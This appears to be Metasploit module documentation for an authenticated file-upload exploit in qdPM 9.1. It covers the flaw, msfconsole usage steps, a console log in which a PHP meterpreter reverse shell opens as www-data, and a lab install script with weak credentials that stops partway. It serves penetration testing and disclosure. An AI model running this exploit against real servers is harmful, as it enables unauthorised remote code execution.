## Vulnerable Application This module exploits a arbitrary file upload vulnerability in the qdPM web-based project manager software, in its 9.1 version. When updating a user's profile (POST `myAccount/update`), the user is allowed to upload a profile picture, which is stored in a known location under the web server root. The software fails to verify the picture input, allowing for the upload of any file, with any filename extension. This can be exploited by uploading a PHP script and invoking it by making a request to it. The script will run with the same privileges as the web server. The module has been tested against qdPM version 9.1 ## Verification Steps - [ ] Start `msfconsole` - [ ] `use exploit/multi/http/qdpm_authenticated_rce` - [ ] `set EMAIL ` - [ ] `set PASSWORD ` - [ ] `set TARGETURI ` - [ ] `set RHOST ` - [ ] `set RPORT ` - [ ] `exploit` - [ ] Add SSL, Proxy, and VHOST options if needed. - [ ] Verify that a new session is created. ## Options **EMAIL** [Required] The email of the user you want to exploit the software with. The user must NOT be the original Admin (i.e. the account created upon installing qdPM, `admin@your_domain.com`). The original Admin user does not have the same attributes as the other user created later on, and its profile picture cannot be changed. In fact, it has no profile picure nor a `/myAccount` page altogether. If you only have credentials for the original admin, you can always login and create another regular user to run this exploit. Note that users with Admin role are also exploitable, only the one created upon installation is not. **PASSWORD** [Required] The password of the user you are trying to exploit. **TARGETURI** The path qdPM lives at. This is only needed is qdPM is not served from the webserver root folder. ## Scenarios As it can be shown by the following scenarios, the exploit works reliably against a variety of targets. The exploit, however, might fail when a large payload (i.e. stageless meterpreter) is selected. **Attacking with a generic PHP payload, OS independent** ``` [msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> set target Generic\ (PHP\ Payload) target => Generic (PHP Payload) [msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp [msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> exploit [*] Started reverse TCP handler on 192.168.2.177:4444 [*] Attempt to login with 'johndoe@localhost.com:easyone' [*] Uploading PHP payload (1123 bytes)... [*] Executing 'JGvak.php' [*] Sending stage (39927 bytes) to 192.168.2.177 [!] Removing: 993379-JGvak.php [*] Meterpreter session 2 opened (192.168.2.177:4444 -> 192.168.2.177:43816) at 2022-06-14 10:03:46 +0200 (Meterpreter 1)(/home/giacomo/qdPM/uploads/users) > getuid Server username: www-data ``` ## Installation QDPM 9.1 relies on outdated software, and installing it can be quite nuanced. Please run the provided script to get the application set up together with a web server, the right version of PHP, and MySQL. This is tested on a fresh installation of Ubuntu Server 22.04. ``` apt install software-properties-common -y add-apt-repository ppa:ondrej/php apt update apt install -y nginx php7.3-fpm php7.3-mysql php7.3-xml php7.3-gd mariadb-server unzip wget systemctl enable --now mariadb.service php7.3-fpm.service mysql -e "UPDATE mysql.user SET Password = PASSWORD('password') WHERE User = 'root'" mysql -e "DROP USER ''@'$(hostname)'" mysql -e "DROP DATABASE test" mysql -e "FLUSH PRIVILEGES" mysql -e "CREATE DATABASE qdpm_db default charset utf8" mysql -e "CREATE USER 'user'@'localhost' IDENTIFIED BY 'pass'" mysql -e "GRANT ALL PRIVILEGES ON qdpm_db.* TO 'user'@'localhost';" cd /opt wget https://www.exploit-db.com/apps/f922670e98bcbcff923d9bfaf430e669-qdPM_9.1.zip -O qdPM_9.1.zip unzip -d /var/www/html/qdpm qdPM_9.1.zip rm qdPM_9.1.zip chown -R www-data:www-data /var/www/html/qdpm/ rm /etc/nginx/sites-available/default rm /etc/nginx/sites-enabled/default tee -a /etc/nginx/sites-available/default > /dev/null <